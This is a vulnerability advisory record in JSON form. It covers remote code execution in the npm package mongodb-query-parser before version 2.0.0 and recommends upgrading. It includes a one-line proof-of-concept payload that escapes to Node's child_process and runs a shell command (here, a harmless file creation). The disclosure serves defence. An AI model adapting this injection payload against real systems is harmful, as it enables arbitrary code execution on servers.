{"id":"GHSA-97mg-3cr6-3x4c","aliases":[],"url":"https://o3.security/vulnerability/GHSA-97mg-3cr6-3x4c","summary":"Remote Code Execution in mongodb-query-parser","details":"Versions of `mongodb-query-parser` prior to 2.0.0 are vulnerable to Remote Code Execution. The package fails to sanitize queries, allowing attackers to execute arbitrary code in the system.  Parsing the following payload executes `touch test-file`: \n\n```'(function () { return (clearImmediate.constructor(\"return process;\")()).mainModule.require(\"child_process\").execSync(\"touch test-file\").toString()})()'```\n\n\n\n## Recommendation\n\nUpgrade to version 2.0.0 or later.","published":"2020-09-04T17:27:23Z","modified":"2020-08-31T18:59:39Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"mongodb-query-parser","fixedVersion":"2.0.0"}],"fix":null,"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/1448"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2020-08-31T18:59:39Z"}}